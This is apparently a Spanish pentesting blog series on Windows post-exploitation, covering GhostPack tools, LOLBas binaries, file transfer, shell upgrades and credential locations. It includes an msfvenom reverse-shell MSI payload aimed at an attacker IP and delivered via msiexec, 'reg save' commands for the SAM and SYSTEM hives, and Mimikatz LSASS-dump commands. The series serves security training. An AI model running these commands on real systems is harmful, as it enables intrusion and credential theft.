Categorías
Explotación de Software Hacking Services - Software

Post-explotación en sistemas Windows con GhostPack – Parte 3 de 3

Este será el último post sobre GhostPack que como se ha mencionado anteriormente, es un conjunto de herramientas que cubren varias operaciones habituales en procesos de post-explotación en sistemas Windows. Las dos partes anteriores de esta serie se encuentran disponibles en los siguientes enlaces:

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3
Post-explotación en sistemas Windows con GhostPack – Parte 2 de 3

Lockless

Se trata de una herramienta que utiliza la función SystemHandleInformation del componente NtQuerySystemInformation para listar y copiar lo file handles que tiene abiertos un proceso y que apuntan a un fichero concreto en el sistema comprometido. Evidentemente, para que estas operaciones se puedan llevar a cabo es necesario contar con privilegios para abrir el proceso y acceder a los handles del mismo. Si esta condición se cumple, se encarga de mapear los contenidos del fichero en memoria y posteriormente vuelca dichos contenidos en el fichero especificado. Como todos los proyectos disponibles en GhostPack, es necesario compilar la solución C# con el Visual Studio .NET y de esta forma obtener el binario correspondiente. Una vez hecho esto, utilizarlo es muy simple y necesita pocos parámetros para funcionar.

Como se puede ver en la imagen anterior, se puede ejecutar el binario de LockLess con el parámetro «all» y devolverá toda la información de los procesos que tienen algún file handle utilizado en ese momento. A continuación, basta simplemente con ejecutar el programa indicando la ruta del fichero que está siendo utilizado por el proceso y aparecerá información relacionada con el handle. Con esto es suficiente para realizar un volcado de los contenidos de dicho file handle en una ruta concreta.

Rubeus

Una de las utilidades más potentes que tiene GhostPack es precisamente Rubeus. Se trata de una herramienta que permite ejecutar diversos tipos de ataques contra el protocolo Kerberos. Incluye la posibilidad de ejecutar manipulaciones interesantes sobre los tickets TGT como su solicitud y renovación por medio de peticiones AS-REQ y análisis de respuestas AS-REP, su extracción por medio de la API LsaCallAuthenticationPackage, ataques del tipo Over-pass-the-hash, fuerza bruta, kerberoasting, entre otras cosas.

A continuación se describen algunas opciones y ataques que se pueden realizar contra un dominio partiendo de un sistema previamente comprometido.
En primer lugar se puede aplicar la técnica de Pass-The-Ticket disponible en Rubeus por medio de la opción /ptt. Un ejemplo típico consiste en utilizar las credenciales de un usuario local o de dominio para generar un ticket TGT utilizando un algoritmo de cifrado débil, como por ejemplo RC4. Hay que tener en cuenta que en versiones de Windows Server recientes (superiores a Windows Server 2008) este mecanismo de cifrado ya no se utiliza y por defecto la clave de sesión para el ticket TGT se cifrará utilizando un algoritmo más robusto como AES128/AES256. No obstante, Kerberos y más concretamente, el KDC (Kerberos Distribution Center) admite la generación de hashes con un algoritmo más débil siempre y cuando el hash de las credenciales sea correcto.

Como se puede ver, se genera el ticket TGT en formato Base64, el cual se puede utilizar posteriormente para pedir un ticket TGS sobre un servicio determinado al que el usuario tenga cierto nivel de acceso, para ello se utiliza la opción asktgs pasándole como argumento un fichero kirbi con el ticket TGT generado e importado anteriormente o la cadena en formato Base64. También es posible ver todos los tikets de Kerberos que se encuentran registrados actualmente junto con su información.

Como se ha mencionado antes, Rubeus es una de las utilidades más potentes que tiene GhostPack, sin embargo requiere unos conocimientos sólidos sobre el funcionamiento y estructura de Kerberos, el KDC y en términos generales, la configuración de seguridad de un directorio activo. Este tipo de cuestiones se cubrirán en detalle en una serie de posts que pronto comenzaré a preparar sobre pentesting y hacking contra entornos AD y se retomará nuevamente el uso de esta herramienta.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Post-explotación en sistemas Windows con GhostPack – Parte 2 de 3

En el post anterior sobre los proyectos disponibles en GhostPack para post-explotación se ha explicado el funcionamiento de 2 de las herramientas disponibles, concretamente: SeatBelt y SharpDump. Ahora es el turno de hablar sobre SharpUp, SharpWmi y SafetyKatz. Si quieres leer el post anterior lo encuentras disponible en el siguiente enlace:

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3

SharpUp

Es un proyecto que porta muchas de las funciones disponibles en el script de PowerSploit llamado PowerUP el cual permite ejecutar múltiples pruebas en busca de problemas de seguridad en el sistema que permitan la elevación de privilegios local. Hay que tener en cuenta que el repositorio de PowerSloit ha sido archivado desde hace algún tiempo y aunque ya no se encuentra mantenido, sus funcionalidades se han ido trasladando a otros proyectos como Empire Framework o el propio SharpUp. Como ocurre con otros proyectos de GhostPack es necesario compilar la solución con el Visual Studio ya que no se distribuyen los binarios en el repositorio oficial de GitHub, pero es algo que no requiere mucho esfuerzo ni supone dificultad alguna.
Una vez generado el binario basta con ejecutarlo desde una terminal sin argumentos. Si se ejecuta con un nivel de integridad alto la herramienta indica que no hace falta ejecutarla dado que ya tienes permisos suficientes sobre el sistema, pero permite lanza con el argumento «audit» para forzar la ejecución de todas las pruebas disponibles en la herramienta.

Dada la gran cantidad de pruebas que realiza y el nivel de trazas que genera, es recomendable enviar dicha salida a un fichero de texto para analizarlo detenidamente cuando termine, bastaría con ejecutar «SharpUp.exe audit > salida.log«.

SharpWMI

Funciona como un envoltorio para las consultas que se pueden ejecutar utilizando la interfaz de WMI, algo que viene muy bien en procesos de post-explotación en Windows y que ya se ha mencionado antes en este blog. Cuando se ejecuta sin ningún argumento aparece la ayuda de la herramienta y se puede apreciar su uso.

Tal como se indica, es una implementación que soporta varias características interesantes como la posibilidad de ejecutar ficheros VBS maliciosos, aplicar técnicas de evasión del AMSI utilizando lo que se encuentra en el proyecto SharpMove e incluso la ejecución de ficheros MSI vía WMI.

SafetyKatz

Se trata de una utilidad que primero realiza un volcado de memoria del proceso LSASS utilizando la función MiniDumpWriteDump, de hecho, esto es algo que se ha explicado en el post anterior ya que es lo mismo que hace la hace la herramienta SharpDump cuando se ejecuta sin ningún argumento. Una vez se genera el fichero de volcado, se procede a ejecutar la utilidad Mimikatz para acceder a dicho fichero con los comandos «sekurlsa::logonpasswords» y «sekurlsa::ekeys«. Finalmente, el fichero de volcado se elimina por parte de la herramienta y finaliza su ejecución.

Como se puede apreciar la ejecución de Mimikatz se lleva a cabo sobre el volcado generado. Si bien es un procedimiento sencillo, es especialmente interesante ver el código fuente de esta herramienta, concretamente los ficheros Constants.cs y Program.cs ya que el primero de ellos contiene la versión modificada de Mimikatz codificada y comprimida utilizando el script Out-CompressedDll.ps1 y el segundo hace todo el proceso, primero genera el volcado del LSASS y luego, decodifica Mimikatz para poder recomponer todo el fichero PE con sus correspondientes cabeceras y estructura completa en memoria, todo de forma dinámica y utilizando la potencia que ofrece C#.

Desde luego ver el código fuente de esta y otras herramientas es extremadamente útil para aprender algunas técnicas que se pueden aplicar en Hacking de sistemas Windows con C#. En el siguiente post se profundizará aún más en el uso de las utilidades disponibles en Ghostpack.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Post-explotación en sistemas Windows con GhostPack – Parte 1 de 3

GhostPack es una colección de herramientas enfocadas a labores de post-explotación en sistemas Windows, las cuales se encuentran en su mayoría, desarrolladas en C#. A la fecha de redactar este post hay 10 utilidades disponibles en el repositorio de GitHub de esta colección:  Seatbelt, SharpUp, SharpDump, SharpRoast, SafetyKatzSharpWMI, SharpDPAPI, Rubeus, KeeThief y Lockless. Cada una de ellas se encuentra en repositorios separados, pero todas bajo el contexto de lo que se conoce como «GhostPack». Dado que se trata de herramientas que vienen muy bien para un proceso de post-explotación en Windows, se procede a explicar las más relevantes y cómo utilizarlas.

SeatBelt

Se trata de un proyecto muy similar a otros de los que ya se han mencionado anteriormente en la serie de posts sobre Enumeración básica en sistemas Windows para Post-explotación. Intenta realizar un conjunto de comprobaciones poco agresivas o intrusivas sobre el sistema comprometido, con el objetivo de recolectar información que sea relevante tanto para equipos de RedTeam como para BlueTeam.
En primer lugar, en el repositorio no se encuentra el binario correspondiente y en el README se indica que tampoco está planeado distribuirlo, no obstante con una instalación de Visual Studio y una versión del Framework de .NET 3.5 o 4.x es suficiente para compilar la solución C# y generar un binario.

Una vez compilado el proyecto, su ejecución es muy simple. Basta con lanzar el comando sin ningún argumento para ver las opciones admitidas. A la hora de lanzar SeatBelt se pueden especificar comandos directos que consultarán algún tipo de detalle en el sistema o grupos predefinidos que categorizan los comandos disponibles. La forma más cómoda y rápida de usar SeltBelt es precisamente especificar un grupo concreto y ver qué se obtiene.

Lo que se puede apreciar en la imagen anterior es que se ha establecido una conexión utilizando Evil-winrm ya que en la víctima el servicio de WinRM se encuentra habilitado por lo tanto resulta cómodo y conveniente ejecutar la herramienta desde una sesión con WinRM. Se puede comprobar que la cantidad de comandos disponibles es considerablemente larga y que probablemente es mucho mejor ejecutar grupos de comandos tal como se comentaba anteriormente. Precisamente, en los mensajes que aparecen cuando se ejecuta el binario sin argumentos, aparecen los grupos disponibles y los comandos que ejecutará SeltBelt.

Ejecutar un grupo es una tarea sencilla, ya que solamente hace falta indicar un grupo concreto y la herramienta habilitará los comandos asociados de forma automática y además, los resultados de la ejecución de SeatBelt se pueden almacenar en un fichero en formato JSON.

A la hora de consultar dichos ficheros se puede apreciar la gran cantidad de información que aportan. De hecho, algunos grupos de SeatBelt extraen información muy completa algo que utilizando los módulos de Post-Explotación disponibles en Metasploit Framework se podría conseguir lanzando varios módulos de forma individual.

SharpDump

Nuevamente, se trata de un «port» de otro de los scripts disponibles en PowerSploit, en este caso concreto es el Out-Minidump el cual se encarga de volcar la memoria de un proceso concreto para su posterior análisis. Para hacer esto, se invoca a la función MiniDumpWriteDump que por defecto se encarga de dejar el fichero con el volcado de la memoria en el directorio C:\\Windows\\Temp. Así como el script Out-Minidump es fácil de ejecutar, el programa SharpDump también lo es. Basta con indicar el PID del proceso que se pretende volcar y la utilidad hará el resto. En el caso de no indicar dicho PID, volcará la memoria del proceso LSASS.

Como se puede apreciar, al no indicar un PID el programa se encarga de encontrar el PID del proceso LSASS y volcar, suponiendo que se cuente con privilegios suficientes para ello. Además se puede ver que se recomienda utilizar el módulo «sekurlsa::minudump» de Mimikatz para analizar el volcado anterior.

Cuando se selecciona un PID concreto la herramienta intenta acceder a dicho proceso y volcar los contenidos que tiene en memoria. Es un funcionamiento bastante simple, pero como se ha comentado anteriormente dependerá del nivel de privilegios que tenga el usuario en cuestión para acceder al proceso y operar sobre él.

En el siguiente post se explicará el uso de otras utilidades disponibles en GhostPack. Si te ha gustado este post o tienes alguna pregunta te animo a que dejes un comentario. 🙂

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Services - Software

Enumeración en Windows para Post-Explotación – Parte 6.

Continuando con esta serie sobre enumeración básica en sistemas Windows, en esta parte se hará una introducción al proyecto LOLBas el cual se encuentra disponible en el siguiente enlace: lolbas-project.github.io/
Las publicaciones anteriores de esta serie se pueden ver en los siguientes enlaces:

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.
Enumeración en Windows para Post-Explotación – Parte 5.

El proyecto LOLBas (Living Off The Land Binaries and Scripts and also Libraries) aparece dada la gran cantidad de binarios, scripts y librerías que pueden ser utilizados por atacantes locales para ejecutar operaciones que se salen del contexto o alcance de su diseño original. Por lo tanto, como resulta evidente se trata de componentes que hacen parte del sistema operativo y que vienen muy bien en procesos de Post-Explotación, de hecho, algunos de estos elementos pueden ser especialmente útiles para exfiltrar información sin necesidad de transferir scripts o herramientas a la máquina comprometida. Lo que hay que tener en cuenta en todo caso, es la versión del sistema operativo, ya que algunos binarios o librerías solamente se encuentran disponibles para Windows 10, mientras que otros solamente están habilitados en versiones de Windows antiguas o directamente «no existen» en diferentes versiones de Windows Server. En el proyecto LOLBas se describe cada comando y sus características, así como las versiones de Windows en las que se encuentra disponible.


Para ejecutar algunos de estos binarios se requieren privilegios elevados, por lo tanto es otra de las cuestiones que se deben comprobar. Nuevamente en la documentación disponible en LOLBas se describe el nivel de privilegios requerido para ejecutar cada comando, librería o instrucción. En la práctica, los componentes disponibles en el proyecto ayudan sobre todo a labores de post-explotación relacionadas con la transferencia de ficheros entre víctima y atacante, movimientos laterales e incluso persistencia, pero son pocos los binarios que ayudan en la elevación de privilegios horizontal o vertical, por lo tanto es posible que se le saque más provecho o sea más interesante utilizar los binarios y scripts disponibles utilizando un usuario con privilegios de administrador. A continuación se enseñan algunos LOLBas básicos para labores de Post-Explotación en Windows.

LOLBas AT

El comando AT se encuentra disponible en múltiples versiones de Windows y permite la ejecución periódica de comandos. Es bastante flexible y precisamente por este motivo, permite lanzar cualquier comando sin ningún tipo de verificación lo que en algunos escenarios le permitirá al atacante tener cierto control sobre el sistema o lanzar rutinas maliciosas. La descripción de este comando en el proyecto LOLBas se encuentra disponible en el siguiente enlace: https://lolbas-project.github.io/lolbas/Binaries/At/#execute

LOLBas FORFILES

Se trata de una utilidad que permite recorrer todos los ficheros de un directorio concreto y en el caso de que el nombre de uno de los ficheros recorridos coincida con el que se ha especificado en la opción “/m”, procederá a ejecutar el comando indicado con “/c”.

La descripción de este binario se encuentra disponible en el siguiente enlace del proyecto LOLBas: https://lolbas-project.github.io/lolbas/Binaries/Forfiles/#execute

LOLBas MSIEXEC

Se trata de una utilidad que permite descargar y ejecutar binarios en formato “msi” desde cualquier ubicación en el segmento de red. En primer lugar, sería necesario generar un ejecutable con dicho formato, para ello se puede utilizar msfvenom con la siguiente instrucción.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=4444 -f msi -o /home/test/msipayload.msi

 

Como se puede apreciar en la imagen anterior, basta simplemente con indicar la URL donde se encuentra el binario y msiexec se encargará de su descarga y posterior ejecución. En este caso el fichero “msi” descargado producirá una sesión meterpreter ya que es el payload que se ha especificado con msfvenom. Hay que tener en cuenta que para que esto funcione se ha tenido que levantar el módulo “exploit/multi/handler” en segundo plano, utilizando el comando “exploit -j”. En el proyecto LOLBas se enseña una descripción del binario: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/#execute

LOLBas WMIC

El comando WMIC es uno de los más extendidos y utilizados en sistemas Windows dada su potencia y beneficios que ofrece a un administrador de este tipo de sistemas. También se puede utilizar para la creación de procesos de forma arbitraria, lo que en algunos casos puede ser interesante para un atacante.

Como se puede apreciar en la imagen anterior, es posible subir un payload, el cual ha podido ser generado con la utilidad “msfvenom” y posteriormente utilizando WMIC, ejecutar con la instrucción wmic process call create “<PATH_EXE>”

La descripción de este binario en el proyecto LOLBas se encuentra disponible en el siguiente enlace: https://lolbas-project.github.io/lolbas/Binaries/Wmic/#execute

 

LOLBas FTP

Se trata de otro binario que se encuentra disponible en múltiples versiones de Windows. Es un comando que funciona como cliente FTP por línea de comandos, sin embargo también permite lanzar instrucciones contra el sistema local utilizando la opción “-s” la cual recibe un fichero de texto con las instrucciones que debe lanzar el cliente FTP. La descripción de esta técnica se encuentra descrita en el siguiente enlace del proyecto LOLBas: https://lolbas-project.github.io/lolbas/Binaries/Ftp/

En este post se han descrito algunos LOLBas básicos que pueden ser útiles en la enumeración/post-explotación de un sistema Windows, sin embargo existen otras posibilidades que ofrece LOLBas y que no se han explicado en este post por lo tanto se recomienda poner en práctica lo explicado aquí y ver otros comandos interesantes del proyecto. Para terminar, simplemente mencionar que existe otro proyecto similar pero enfocado a sistemas Unix llamado GTFOBins. De esto se hablará más adelante en otra serie sobre enumeración en sistemas Unix que empezaré a elaborar próximamente.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking Hacking Python MetaSploit Networking Services - Software

Enumeración en Windows para Post-Explotación – Parte 5.

Enumeración en Windows para Post-Explotación – Parte 1.
Enumeración en Windows para Post-Explotación – Parte 2.
Enumeración en Windows para Post-Explotación – Parte 3.
Enumeración en Windows para Post-Explotación – Parte 4.

Aunque los comandos e instrucciones que se han listado en las partes anteriores a este post incluyen las actividades típicas para la enumeración de sistemas Windows, es conveniente tener cierta habilidad y libertad a la hora de moverse por el sistema y esto no siempre es tan sencillo. En ocasiones la shell con la que se cuenta no permite ejecutar ciertos comandos o puede ser inestable. También puede ocurrir que no se cuenta con los elementos o herramientas necesarias para la transferencia de ficheros, especialmente si se trata de un sistema Windows antiguo o con una cuenta que tiene muy pocos privilegios. Este tipo de cuestiones son las que normalmente se encuentran en una auditoría y es vital saber qué hacer en esas situaciones. En este post se verán algunos «tips» que pueden ser útiles para solventar o mitigar algunos problemas comunes en el proceso de post-explotación.

Transferencia de ficheros en post-explotación

Para muchas de las operaciones que implican la post-explotación es necesario subir ficheros a la máquina comprometida o bien descargar información. Para ello existen múltiples alternativas que pueden ser aplicables al objetivo en cuestión. En este caso se verán algunas de las más comunes y en otro artículo se explicará como ejecutar procesos de exfiltración más enfocados a campañas de Red Team.
En primer lugar se podría hablar de la posibilidad de subir o descargar ficheros con Meterpreter, se trata de una de las alternativas más típicas y que pueden venir bien si se cuenta con una sesión de este tipo.

Si no se cuenta con una sesión Meterpreter, se pueden utilizar algunas de las herramientas disponibles en el sistema comprometido para descargar ficheros (exfiltrar) y en este punto resulta conveniente revisar el proyecto LOLBas, del que se hablará más adelante en otro post. Desde la máquina del atacante se puede levantar muy fácilmente un servidor Web o FTP para la transferencia de ficheros a la víctima. Para ello se puede utilizar Python y los módulos que se encuentran disponibles para ello.

Al sistema comprometido se pueden transferir ficheros fácilmente utilizando Powershell o herramientas disponibles en el propio sistema operativo como certutil, mshta, bitsadmin o ftp.

Se trata de las alternativas «clásicas» y que funcionan bastante bien, sin embargo existe otra forma que puede venir muy bien en el caso de que sea necesario ejecutar un binario en el sistema comprometido sin necesidad de escribir nada en disco. De hecho, a menos que en el objetivo no hayan soluciones de seguridad perimetral o se encuentren desactivadas, es recomendable no ejecutar las instrucciones anteriores para evitar una posible detección. Dicho esto, crear una unidad compartida en la máquina del atacante y utilizar el protocolo SMB para la transferencia de información y ejecución «fileless» puede ser un mejor enfoque. Para ello se puede crear un servidor Samba en la máquina del atacante y configurarlo, se trata de algo sencillo y que en pocos minutos se puede conseguir, sin embargo a efectos prácticos se puede utilizar la implementación de pruebas del servidor SMB que viene incluido en el proyecto Impacket.

A partir de este punto se pueden transferir ficheros en ambos sentidos utilizando el protocolo SMB.

 

Y por supuesto, también sería posible la ejecución «fileless» de un binario.

En la imagen anterior se puede apreciar la ejecución de un binario que se encuentra almacenado en la unidad compartida del atacante. No obstante, aunque la transferencia se ha efectuado, dicho fichero no se ha guardado en disco y aún así se obtiene una sesión meterpreter. Es simplemente un ejemplo más sobre cómo aplicar esta técnica, aunque como se ha mencionado anteriormente también sería posible hacerlo con un servidor Samba en la máquina del atacante. El resultado será el mismo.

Windows Shell Upgrade.

Una vez comprometido el sistema es posible que la shell que se ha obtenido no sea lo suficientemente estable o resulte incómodo trabajar con ella, por ejemplo a la hora de ejecutar comandos interactivos o debido a que no se tiene la posibilidad de autocompletar, siendo una característica de Powershell que permite ahorrar tiempo y facilita el trabajo. En este sentido, se explican algunas técnicas útiles para contar con una shell robusta que será perfecta para post-explotación.

WebDelivery Metasploit Framework

El «WebDelivery» de Metasploit Framework es un modulo que se encarga de generar un comando en una sola línea, el cual tras ejecutarse en el objetivo, lanza el payload indicado utilizando el interprete seleccionado en la opción «TARGET» del módulo (Python, Powershell, PHP, Regsvr32, etc.)

Como se puede apreciar, el modulo tiene opciones que permiten indicar cómo se debe levantar el servidor (job de MSF) el cual se encargará de recibir las peticiones por parte de las víctimas y generar una sesión Meterpreter o lo que sea que se haya indicado en el payload.

Al establecer el TARGET a «PSH» el comando generado incluye una instrucción Powershell y tal como se puede ver, el payload propiamente dicho se encuentra codificado en Base64, dicha cadena se decodifica y ejecutan las instrucciones decodificadas. Resulta bastante simple y permite generar, en este caso concreto, una sesión meterpreter perfectamente funcional y que es posiblemente mucho más interesante de cara a la post-explotación que una shell cruda.

Dado que este post está quedando bastante largo, en el siguiente se hablará sobre otras técnicas útiles para la generación de shells robustas y otras cuestiones interesantes en la post-explotación de sistemas Windows como es el caso del proyecto LOLBas.

Un saludo y Happy Hack!
Adastra.

Categorías
Explotación de Software Hacking MetaSploit Networking Programacion

Enumeración en Windows para Post-Explotación – Parte 4.

Algunas de las técnicas vistas en las partes 1, 2 y 3 de esta serie sobre post-explotación en sistemas Windows se pueden automatizar de una forma bastante eficiente con herramientas que están disponibles para ello. En este post se hablará precisamente de algunas ellas y sus ventajas. Aunque normalmente es una buena idea automatizar, en ocasiones estas herramientas se pueden dejar detalles importantes y por ese motivo es importante seguir la metodología y no quedarse solo con lo que reportan estas herramientas, aunque sin duda son un buen apoyo.

JAWS: Just Another Windows (Enum)  Script

Se trata de uno de los más conocidos y utilizados para llevar a cabo labores de enumeración. Es un script desarrollado en PowerShell que permite identificar rápidamente vectores potenciales para elevación de privilegios sobre un sistema Windows. Tal como se indica en el repositorio oficial de Github (https://github.com/411Hall/JAWS) se encuentra escrito usando Powershell 2.0 por lo tanto debería funcionar sobre cualquier sistema Windows desde la versión 7.
Algunas de las características que implementa se listan a continuación.

  • Identificación de ficheros con permisos débiles (Control total o modificación).
  • Unidades de red disponibles y directorios compartidos.
  • Ficheros con información potencialmente sensible.
  • Vulnerabilidades del tipo Unquoted Service Paths.
  • Listado de tareas programas.
  • Servicios que son potencialmente vulnerables.
  • Documentos que se han utilizado recientemente.
  • Información general del entorno de red.

El procedimiento habitual consiste en transferir el fichero PS correspondiente a la máquina comprometida y ejecutarlo, suele funcionar bastante bien.

Windows Privesc Check (windows-privesc-check)

Es otra de las herramientas clásicas que se encargan de realizar una enumeración básica de un sistema Windows. Ha sido creada hace varios años por PentesterMonkey y se encuentra desarrollada en Python, aunque se distribuye un EXE que se ha generado utilizando PyInstaller y que permite utilizar la herramienta fácilmente en cualquier sistema Windows sin Python instalado. El repositorio oficial se encuentra ubicado en https://github.com/pentestmonkey/windows-privesc-check
A diferencia de otras herramientas, dependiendo de los privilegios con los que se cuente a la hora de ejecutarla se realizaran más o menos pruebas. Por ejemplo, si se ejecuta con privilegios de administrador intentará realizar actividades que en algunos casos pueden desestabilizar el sistema tales como la configuración de servicios sensibles, manipulación del registro de Windows, Sustitución de binarios utilizados para servicios del sistema operativo, etc. Cuando se ejecuta con privilegios bajos o con una cuenta de usuario regular evidentemente las pruebas serán más simples y enfocadas a la recolección de información. Hay que tener en cuenta que es una herramienta que no se actualiza desde hace varios años aunque la mayor parte sigue funcionando sobre sistemas recientes y actualizados.

Windows Enum

Es un proyecto que ya lleva algunos años publicado y al igual que JAWS, es un script en Powershell. Su ejecución es simple ya que solamente admite un parámetro (extended) y no es obligatorio. Las pruebas que realiza también son básicas e incluyen los siguientes puntos.

  • Detalles sobre el sistema operativo y nivel de parche.
  • Usuarios en el sistema y sus correspondientes privilegios.
  • Información sobre programas instalados, procesos actualmente en ejecución y servicios del sistema.
  • Información general de la red, incluyen tabla de rutas, segmentos de red, conexiones, tablas ARP, etc.
  • Ficheros con información potencialmente sensible.

El script se encuentra disponible en el siguiente repositorio de GitHub https://github.com/absolomb/WindowsEnum/

 

WinPEAS (Windows Privilege Escalation Awesome Scripts)

Se trata de un programa que es, probablemente, el más completo para enumeración de sistemas WIndows (también está para sistemas Linux pero de esto se hablará en otra serie). Se encuentra disponible en formato BAT y EXE, con lo cual no hace falta compilar nada o depender de un interprete como Python o similares. Sin embargo, la salida se enseña en «crudo», sin colores ni marcas identificativas relevantes sobre las pruebas que se han llevado a cabo, por ese motivo una vez se ejecuta el programa hay que leer la salida cuidadosamente para ver cualquier detalle que pueda ser útil.

El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS Tal como se ha comentado anteriormente, cuenta con dos versiones (BAT y EXE), ambas funcionan bastante bien.

Windows Exploit Suggester – Next Generation (WES-NG)

Se trata de una herramienta que utiliza la información devuelta por el comando systeminfo para comprobar el nivel de parche del sistema y listar las posibles vulnerabilidades que le podrían afectar. Funciona desde Windows XP hasta Windows 10 incluyendo las versiones «server». A diferencia de otras herramientas, no es necesario instalar WES-NG en el sistema comprometido, se puede ejecutar en el ordenador del atacante y solamente hace falta pasarle un fichero con toda la información que vuelca el comando «systeminfo» en sistemas Windows.

El proyecto se encuentra ubicado en el siguiente repositorio de GitHub https://github.com/bitsadmin/wesng y como se puede comprobar en la documentación su uso resulta muy simple.

 

Otras alternativas.

Para este tipo de procedimientos existen muchas más alternativas a las que se han listado en esta sección, como por ejemplo el uso de Frameworks como Empire, Metasploit o Pupy. Además de las herramientas descritas en este post existen otras más que el lector puede consultar entre las que se incluyen:

 

En este post se han visto algunas utilidades que pueden venir bien en un proceso de post-explotación sobre sistemas Windows, sin embargo extraen básicamente la misma información que otros comandos y utilidades  que se encuentran disponibles en el sistema operativo por lo tanto es importante seguir la metodología correctamente e identificar qué elementos pueden ser útiles para la elevación y cuales no.

Un saludo y Happy Hack!

Adastra.

 

Categorías
Hacking Networking Services - Software

Enumeración en Windows para Post-Explotación – Parte 3.

Continuando con los detalles básicos de enumeración que se han visto en las partes 1 y 2, se listan a continuación más elementos del «checklist» para enumerar sistemas Windows.

Usuarios y grupos.

Posiblemente es una de las primeras cosas que se intenta enumerar en cualquier sistema durante la post-explotación. Consiste en encontrar detalles básicos sobre las cuentas de usuario que se encuentran registradas en el sistema. En el caso de Windows esto se puede conseguir de una forma muy simple utilizando el comando «net users» o instrucciones en Powershell.

El comando «whoami /all» también es muy útil para enumerar información relevante sobre el usuario que se encuentra autenticado actualmente.
En este punto es especialmente interesante verificar el token de acceso que tiene el usuario que se está utilizando para enumerar el sistema, el cual se encarga de definir los grupos y privilegios del usuario, así como su identificación. Resulta conveniente ver el listado de privilegios que enseña el comando whoami y ver cuáles de ellos se pueden utilizar para post-explotación, especialmente si es posible la impersonalización de los mismos. Una guía concreta e interesante sobre el significado de los privilegios se encuentra en https://github.com/gtworek/Priv2Admin
Por otro lado, también es importante detectar los usuarios que son administradores locales en el sistema, ya que cuando se autentican, normalmente se crean dos tokens, uno de ellos con privilegios regulares y el otro con permisos de administrador. El que se utiliza por defecto para la ejecución de programas es el primero, pero cuando se intenta ejecutar alguna operación que requiere permisos de administrador se ejecuta el segundo y en este caso entra el juego el nivel de integridad y el UAC para «pedir confirmación» sobre la acción que se va a ejecutar.

 

Aplicaciones instaladas

En las aplicaciones instaladas en el sistema se puede encontrar una forma de elevar privilegios, especialmente en aquellos programas que se utilizan localmente por parte de los usuarios de forma regular y que incluyen vulnerabilidades conocidas o cuentan con configuraciones inseguras. Listar los directorios C:\\Program Files y C:\\Program Files (x86)  es una buena forma de hacerse una idea de lo que se encuentra instalado en el sistema, también resulta conveniente consultar la clave del registro HKLM\SOFTWARE por si acaso hay algún otro programa instalado en un directorio distinto a los anteriores. Además de esto, resulta conveniente utilizar una herramienta como AccessChk de Sysinternals para comprobar permisos débiles en esos directorios. Por supuesto, Powershell también puede utilizarse para obtener esta información

Contraseñas e información sensible.

Dependiendo del mecanismo de autenticación empleado y de la versión de Windows, es posible que las credenciales utilizadas por los usuarios se puedan recuperar directamente de la memoria de procesos como el LSASS o en otras ubicaciones. De hecho, los ataques clásicos de pass the hash se basan en obtener los hashes de las contraseñas utilizadas para iniciar sesión en el sistema local y en el caso de que la autenticación se lleve a cabo contra un AD, dichos hashes estarán guardados en los controladores de dominio. Los ataques de pass the hash continúan siendo una amenaza real y representan una técnica perfectamente valida para intentar elevar privilegios o realizar movimientos laterales. Aunque cuando se habla de PtH comúnmente se refiere a hashes NT, la misma dinámica aplica a Kerberos solo que en este caso se puede intentar obtener el TGT (Ticket-Granted Ticket).
Por otro lado, algunas ubicaciones que son de «obligada» verificación en un proceso de pentesting o incluso de Hardening en un sistema Windows se listan a continuación:

Security Accounts Manager (SAM):

Aquí se almacenan las credenciales hasheadas de los usuarios locales (NTLM). Dependiendo de la versión del sistema operativo se puede obtener de múltiples formas, entre las que se incluyen:

  • Extracción desde el registro del sistema operativo:
    En algunas versiones de Windows se puede obtener los hashes NTLM locales desde el registro y almacenarlos en un fichero, por ejemplo.
    reg save HKLM\sam C:\sam
    reg save HKLM\system C:\system
    Posteriormente se puede utilizar una herramienta como JTR (John The Ripper) o samdump2 para volcar dichos hashes.
  • Herramientas especificas:
    Es común utilizar herramientas como Mimikatz o el comando hashdump de meterpreter que se encuentra ubicado en la extensión priv pero además de esto, también se puede utilizar el script secretsdump.py de Impacket, el proyecto Lazagne o FGDump
  • Copia de la SAM :
    Las versiones más recientes de Windows conservan un bloqueo exclusivo del fichero SAM utilizado actualmente. Una alternativa valida podría ser obtener el backup de dicho fichero que el propio sistema operativo almacena. Las ubicaciones típicas suelen ser C:\Windows\Repair\ y C:\Windows\System32\config\RegBack. Nuevamente dependerá de la versión de Windows.
  • Volume Shadow Copy:
    Como se ha mencionado anteriormente, las versiones recientes de Windows no permiten el acceso directo al fichero SAM para lectura o escritura, pero en versiones recientes de dicho sistema operativo también se ha implementado una característica llamada VSC (Volume Shadow Copy) la cual se encarga de la creación de snapshots del volumen completo con el objetivo de realizar labores de recuperación del sistema y backup. Por lo tanto, es posible crear un snapshot del volumen principal (C: por ejemplo), montarlo y a partir de este punto copiar los ficheros SAM y SYSTEM para poder utilizar las herramientas que se han explicado previamente. Para ello se puede utilizar una herramienta como vssadmin o diskshadow, nuevamente dependiendo de la versión de Windows las herramientas disponibles son distintas.

LSA Secrets:

Ya se ha mencionado anteriormente que el proceso LSASS almacena en memoria información sensible como las credenciales de los usuarios, sin embargo existen otros elementos que también son interesantes y relevantes para un proceso de post-explotación, por ejemplo:

  • Contraseñas almacenadas en el ordenador localmente.
  • Contraseñas de cuentas destinadas a servicios que se ejecutan en el sistema.
  • Contraseñas de aplicaciones especificas, como por ejemplo aplicaciones web desplegadas en un IIS.
  • Contraseñas utilizadas en las tareas programadas creadas en el sistema operativo.

Gestores de contraseñas:

